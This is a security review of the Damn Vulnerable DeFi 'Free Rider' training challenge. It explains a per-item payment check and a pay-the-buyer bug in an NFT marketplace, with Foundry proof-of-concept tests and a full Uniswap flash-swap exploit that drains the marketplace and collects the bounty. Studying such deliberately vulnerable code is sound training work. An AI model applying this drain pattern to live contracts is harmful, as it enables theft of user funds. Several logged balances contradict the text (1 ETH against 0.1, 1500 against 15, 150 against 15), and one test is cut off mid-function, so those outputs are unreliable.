

Damn Vulnerable DeFi, Free Rider Security Review

Prepared by: SnavOhBurmaa

Lead Auditors: Khant Wai Yan Aung (SnavOhBurmaa)

date: July 18, 2026

Table of contents

See table

1. Damn Vulnerable DeFi, Free Rider Security Review
2. [Table of contents](#)
3. [About Me](#)
4. [Disclaimer](#)
5. [Risk Classification](#)
6. [Audit Details](#)
7. [Scope](#)
8. [Protocol Summary](#)
9. [Roles](#)
10. [Executive Summary](#)
11. [Issues found](#)
12. [Findings](#)

About Me

I'm a smart contract auditor focus on EVM and Solidity protocols. This review was carried out as part of independent security practice on the Damn Vulnerable DeFi training set.

Disclaimer

I made every effort to find as many vulnerabilities as possible, fixing the issues described here does not guarantee the contracts are free of all bug.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The project is Damn Vulnerable DeFi v4, the Free Rider challenge. The reviewed version use pragma solidity =0.8.25 (DVD v4). The reviewer is Khant Wai Yan Aung (SnavOhBurmaa) and the date is July 18, 2026. Tools used were manual review and Foundry (forge) for the PoC, Slither, Aderyn.

Scope

```
src/free-rider/  
  FreeRiderNFTMarketplace.sol  
  FreeRiderRecoveryManager.sol
```

Protocol Summary

Free Rider is a small NFT marketplace with a bounty on the side. It has two contracts.

FreeRiderNFTMarketplace.sol is the marketplace. When it is deployed it mints six Damn Valuable NFTs to the deployer. The deployer lists all six for sale at 15 ETH each. Anyone can buy one or many NFTs. offerMany lists NFTs for sale and buyMany buys them. The buy logic lives in the private _buyOne, which checks the payment, moves the NFT, and pays the seller.

`FreeRiderRecoveryManager.sol` is a separate contract that holds a 45 ETH bounty. The devs know the marketplace is broken and want the NFTs pulled out and handed back. When all six NFTs arrive at this contract, its `onERC721Received` hook pays the 45 ETH bounty to an address given in the transfer data. It only pays if the transaction is started by the beneficiary, which is the player.

In the test the marketplace holds 90 ETH and six NFTs listed at 15 ETH each. The recovery manager holds the 45 ETH bounty. The player starts with only 0.1 ETH. A Uniswap v2 WETH pair with deep reserves sits in the test setup and can hand out a flash swap. The goal is to take all six NFTs, send them to the recovery manager, and end up with more than the 45 ETH bounty.

Roles

There are three roles. The deployer creates the marketplace, mints and lists the six NFTs, and funds the recovery manager. The player is the beneficiary of the bounty and starts with only 0.1 ETH. The recovery manager owner is allowed to pull the NFTs out of the recovery manager after they arrive. The price and the buy logic are open to anyone, no special role is needed to buy.

Executive Summary

The marketplace has two clear bugs in its buy path, and together they let a buyer take all six NFTs for free.

First, `buyMany` checks the payment against each NFT one by one and never adds the prices up, so a single 15 ETH payment passes the check for all six NFTs. Second, `_buyOne` moves the NFT to the buyer before paying, so it ends up paying the buyer instead of the seller, and the buyer gets the 15 ETH back.

The player only has 0.1 ETH, so they borrow 15 WETH with a Uniswap v2 flash swap, buy all six NFTs with one 15 ETH payment, get that 15 ETH refunded by the second bug, send the NFTs to the recovery manager to claim the 45 ETH bounty, and repay the flash swap. The player walks away with about 120 ETH.

Issues found

Severity	Number of issues found
High	2
Medium	0
Low	1
Informational	2
Total	5

ID	Title	Severity
[H-1]	buyMany checks the payment against each NFT one by one, so all six can be bought for one price	High
[H-2]	The marketplace pays the buyer instead of the seller	High
[L-1]	The offer is never cleared after a sale, so the offer list and the counter get out of sync	Low
[I-1]	The recovery manager uses tx.origin for the authorization check	Informational
[I-2]	offersCount is updated with a hardcoded storage slot in inline assembly	Informational

Findings

High

[H-1] buyMany checks the payment against each NFT one by one, so all six NFTs can be bought for the price of one

Description:

buyMany runs `_buyOne` in a loop over the token ids. Each `_buyOne` compares the same `msg.value` against one NFT price. The payment is never added up across the loop, and it is never reduced after a purchase.

```
// src/free-rider/FreeRiderNFTMarketplace.sol:83-99
function buyMany(uint256[] calldata tokenIds) external payable
nonReentrant {
    for (uint256 i = 0; i < tokenIds.length; ++i) {
        unchecked {
            _buyOne(tokenIds[i]);
        }
    }
}
```

```

    }
  }
}

function _buyOne(uint256 tokenId) private {
    uint256 priceToPay = offers[tokenId];
    if (priceToPay == 0) {
        revert TokenNotOffered(tokenId);
    }

    if (msg.value < priceToPay) {
        revert InsufficientPayment();
    }
    ...
}

```

msg.value is the total ETH sent with the one buyMany call. It does not shrink as the loop buys each NFT. So if a buyer sends 15 ETH and asks for all six NFTs, the check msg.value < priceToPay sees 15 ETH against 15 ETH every time and passes for all six. The buyer pays once and receives six NFTs.

Impact:

Likelihood High. Any buyer can call buyMany with all six ids and only 15 ETH.

Risk High. All six NFTs, worth 90 ETH at the listed price, are taken for 15 ETH.

Proof of Concept:

A buyer with only enough ETH for one NFT (15 ETH) calls buyMany with all six ids. The one payment passes the per NFT check every time, so the buyer walks away with all six NFTs and the offers list is cleared.

```

function test_freeRiderSinglePaymentBuysAll() public {
    address buyer = makeAddr("buyer");
    vm.deal(buyer, NFT_PRICE); // only enough for one NFT

    vm.startPrank(buyer, buyer);

    console.log("BEFORE");
    console.log("ETH sent with the call:", NFT_PRICE);
    console.log("offers before          :",
marketplace.offersCount());

    uint256[] memory ids = new uint256[](AMOUNT_OF_NFTS);
    for (uint256 i = 0; i < AMOUNT_OF_NFTS; i++) {
        ids[i] = i;
    }
    marketplace.buyMany{value: NFT_PRICE}(ids);

    vm.stopPrank();
}

```

```

        console.log("AFTER");
        console.log("offers after          :",
marketplace.offersCount());
        for (uint256 i = 0; i < AMOUNT_OF_NFTS; i++) {
            console.log("NFT", i, "owned by buyer:", nft.ownerOf(i) ==
buyer);
        }

        assertEq(marketplace.offersCount(), 0, "offers not cleared");
        for (uint256 i = 0; i < AMOUNT_OF_NFTS; i++) {
            assertEq(nft.ownerOf(i), buyer, "buyer did not get the
NFT");
        }
    }
}

```

Run `forge test --match-path test/free-rider/FreeRiderPoC.t.sol --match-test test_freeRiderSinglePaymentBuysAll -vv:`

Ran 1 test for test/free-rider/FreeRiderPoC.t.sol:FreeRiderPoC
[PASS] test_freeRiderSinglePaymentBuysAll() (gas: 264806)

Logs:

```

BEFORE
ETH sent with the call: 15000000000000000000
offers before          : 6
AFTER
offers after           : 0
NFT 0 owned by buyer: true
NFT 1 owned by buyer: true
NFT 2 owned by buyer: true
NFT 3 owned by buyer: true
NFT 4 owned by buyer: true
NFT 5 owned by buyer: true

```

Suite result: ok. 1 passed; 0 failed; 0 skipped

One 15 ETH payment bought all six NFTs. Combined with [H-2] the buyer even gets the 15 ETH back, so the six NFTs cost nothing.

Recommended Mitigation:

Add up the price of every NFT in `buyMany` and check `msg.value` against that total once, before the loop. Then the per NFT check inside `_buyOne` is no longer needed.

```

function buyMany(uint256[] calldata tokenIds) external payable
    nonReentrant {
+   uint256 totalPrice;
+   for (uint256 i = 0; i < tokenIds.length; ++i) {
+       totalPrice += offers[tokenIds[i]];
+   }
+   if (msg.value < totalPrice) {
+       revert InsufficientPayment();

```

```

+     }
+     for (uint256 i = 0; i < tokenIds.length; ++i) {
+         unchecked {
+             _buyOne(tokenIds[i]);
+         }
+     }
+ }

function _buyOne(uint256 tokenId) private {
    uint256 priceToPay = offers[tokenId];
    if (priceToPay == 0) {
        revert TokenNotOffered(tokenId);
    }

-
-     if (msg.value < priceToPay) {
-         revert InsufficientPayment();
-     }
-
    ...

```

[H-2] The marketplace pays the buyer instead of the seller

Description:

Inside `_buyOne` the NFT is moved to the buyer first, and only after that the code reads the owner again to pay the sale price.

```

// src/free-rider/FreeRiderNFTMarketplace.sol:101-110
--offersCount;

// transfer from seller to buyer
DamnValuableNFT _token = token;
_token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender,
tokenId);

// pay seller using cached token
payable(_token.ownerOf(tokenId)).sendValue(priceToPay);

```

The order is wrong. Line 105 already sends the NFT to `msg.sender`, so by line 108 `_token.ownerOf(tokenId)` is the buyer, not the seller. The price is paid back to the buyer. The original seller gets nothing, and the marketplace loses the ETH.

Impact:

Likelihood High. It happens on every purchase.

Risk High. The buyer is refunded the price on each NFT, and the marketplace balance drains.

Proof of Concept:

A buyer buys one NFT for 15 ETH. Because the price is paid back to the new owner, the buyer ends with the same balance they started with, so the NFT was free, and the seller was paid nothing.

```
function test_freeRiderBuyerRefundedSellerUnpaid() public {
    address buyer = makeAddr("buyer2");
    vm.deal(buyer, NFT_PRICE);

    uint256 buyerBefore = buyer.balance;
    uint256 sellerBefore = deployer.balance;

    vm.startPrank(buyer, buyer);
    uint256[] memory ids = new uint256[](1);
    ids[0] = 0;
    marketplace.buyMany{value: NFT_PRICE}(ids);
    vm.stopPrank();

    console.log("buyer ETH before      :", buyerBefore);
    console.log("buyer ETH after       :", buyer.balance);
    console.log("buyer got refunded    :", buyer.balance ==
buyerBefore);
    console.log("seller was paid        :", deployer.balance !=
sellerBefore);
    console.log("NFT 0 owned by buyer:", nft.ownerOf(0) == buyer);

    assertEq(buyer.balance, buyerBefore, "buyer was not refunded,
so the NFT was not free");
    assertEq(deployer.balance, sellerBefore, "seller should have
been paid nothing");
    assertEq(nft.ownerOf(0), buyer, "buyer did not get the NFT");
}
```

```
Run forge test --match-path test/free-rider/FreeRiderPoC.t.sol --
match-test test_freeRiderBuyerRefundedSellerUnpaid -vv:
```

```
Ran 1 test for test/free-rider/FreeRiderPoC.t.sol:FreeRiderPoC
[PASS] test_freeRiderBuyerRefundedSellerUnpaid() (gas: 126996)
Logs:
```

```
buyer ETH before      : 1500000000000000000000
buyer ETH after       : 1500000000000000000000
buyer got refunded    : true
seller was paid       : false
NFT 0 owned by buyer: true
```

```
Suite result: ok. 1 passed; 0 failed; 0 skipped
```

The buyer paid 15 ETH, got the same 15 ETH back, and kept the NFT. The seller received nothing.

Full exploit combining both bugs:

The player has only 0.1 ETH, so first they take a Uniswap v2 flash swap for 15 WETH, unwrap it, and buy all six NFTs with a single 15 ETH payment. Because of [H-1] the one payment covers all six, and because of [H-2] the 15 ETH comes straight back to the attacker. Then the six NFTs are sent to the recovery manager, which pays the 45 ETH bounty, and the flash swap is repaid with its small fee.

```
function uniswapV2Call(address, uint256, uint256, bytes calldata)
external {
    // 1. unwrap the borrowed WETH into ETH
    weth.withdraw(NFT_PRICE);

    // 2. buy all 6 NFTs paying for only one
    uint256[] memory ids = new uint256[](AMOUNT);
    for (uint256 i = 0; i < AMOUNT; i++) {
        ids[i] = i;
    }
    marketplace.buyMany{value: NFT_PRICE}(ids);

    // 3. send all 6 NFTs to the recovery manager, the 6th one
    pays the 45 ETH bounty
    bytes memory data = abi.encode(player);
    for (uint256 i = 0; i < AMOUNT; i++) {
        nft.safeTransferFrom(address(this),
address(recoveryManager), i, data);
    }

    // 4. repay the flash swap, 15 WETH plus the 0.3 percent fee
    uint256 repay = (NFT_PRICE * 1000) / 997 + 1;
    weth.deposit{value: repay}();
    weth.transfer(address(pair), repay);

    // 5. push the leftover ETH to the player
    payable(player).transfer(address(this).balance);
}
```

Run forge test --match-path test/free-rider/FreeRiderPoC.t.sol
-vv:

Ran 1 test for test/free-rider/FreeRiderPoC.t.sol:FreeRiderPoC
[PASS] test_freeRiderExploit() (gas: 898878)

Logs:

```
BEFORE ATTACK
player ETH      : 1000000000000000000
marketplace ETH : 90000000000000000000
recovery ETH    : 45000000000000000000
marketplace offers : 6
AFTER ATTACK
player ETH      : 120054864593781344032
marketplace ETH : 150000000000000000000
recovery ETH    : 0
marketplace offers : 0
NFT 0 owner recovery: true
```

```
NFT 1 owner recovery: true
NFT 2 owner recovery: true
NFT 3 owner recovery: true
NFT 4 owner recovery: true
NFT 5 owner recovery: true
```

Suite result: ok. 1 passed; 0 failed; 0 skipped

The player starts with 0.1 ETH and ends with about 120 ETH. The marketplace drops from 90 ETH to 15 ETH, and the recovery manager pays out its full 45 ETH bounty. All six NFTs end up in the recovery manager.

Recommended Mitigation:

Pay the seller before moving the NFT, and read the owner before the transfer.

```
- _token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender,
    tokenId);
-
- // pay seller using cached token
- payable(_token.ownerOf(tokenId)).sendValue(priceToPay);
+ address seller = _token.ownerOf(tokenId);
+ _token.safeTransferFrom(seller, msg.sender, tokenId);
+ payable(seller).sendValue(priceToPay);
```

Low

[L-1] The offer is never cleared after a sale, so the offer list and the counter get out of sync

Description:

`_buyOne` reads the price but never deletes the offer, and it lowers `offersCount` inside an unchecked block.

```
// src/free-rider/FreeRiderNFTMarketplace.sol:91-105
function _buyOne(uint256 tokenId) private {
    uint256 priceToPay = offers[tokenId];
    ...
    --offersCount;

    DamnValuableNFT _token = token;
    _token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender,
tokenId);
    ...
}
```

After a sale `offers[tokenId]` still holds the old price, so the mapping says the token is still for sale even though it is not. At the same time `offersCount` goes down by one. The two pieces of state no longer agree. Because `buyMany` calls `_buyOne` inside an unchecked block, if `offersCount` ever reaches zero and one more `_buyOne` runs, the counter wraps around to a huge number instead of reverting.

Impact:

Likelihood Low. To buy the same token again the new owner must approve the marketplace, otherwise the transfer reverts. Risk Low. It is a state bookkeeping problem, `offersCount` and the `offers` mapping can show wrong values.

Proof of Concept:

N/A

Recommended Mitigation:

Delete the offer when it is bought so the mapping and the counter stay in sync.

```
uint256 priceToPay = offers[tokenId];
if (priceToPay == 0) {
    revert TokenNotOffered(tokenId);
}
...
+ delete offers[tokenId];
--offersCount;
```

Informational

[I-1] The recovery manager uses `tx.origin` for the authorization check

Description:

`onERC721Received` allows the transfer only if `tx.origin` is the beneficiary.

```
// src/free-rider/FreeRiderRecoveryManager.sol:45-47
if (tx.origin != beneficiary) {
    revert OriginNotBeneficiary();
}
```

Using `tx.origin` for access control is a known anti pattern. It ties the check to the outside account that started the whole transaction, not to the direct caller. It also breaks for smart contract wallets and account abstraction, where `tx.origin` is not the user.

Impact:

Likelihood Low Risk Info

Proof of Concept:

N/A

Recommended Mitigation:

Prefer an explicit owner or role check, or verify the decoded recipient, instead of leaning on `tx.origin`.

[I-2] offersCount is updated with a hardcoded storage slot in inline assembly

Description:

`_offerOne` bumps the counter with raw assembly against slot `0x02`.

```
// src/free-rider/FreeRiderNFTMarketplace.sol:75-78
assembly {
    // gas savings
    sstore(0x02, add(sload(0x02), 0x01))
}
```

Slot 2 is `offersCount` only because `ReentrancyGuard` takes slot 0 and `token` takes slot 1. If a base contract adds a state variable, or the variables are reordered, this line silently writes to the wrong slot and corrupts state, and the compiler will not warn.

Impact:

Likelihood Low. Risk Informational.

Proof of Concept:

N/A

Recommended Mitigation:

Update the variable by name so the compiler tracks the slot.

```
- assembly {
-     // gas savings
```

```
-     sstore(0x02, add(sload(0x02), 0x01))  
- }  
+ ++offersCount;
```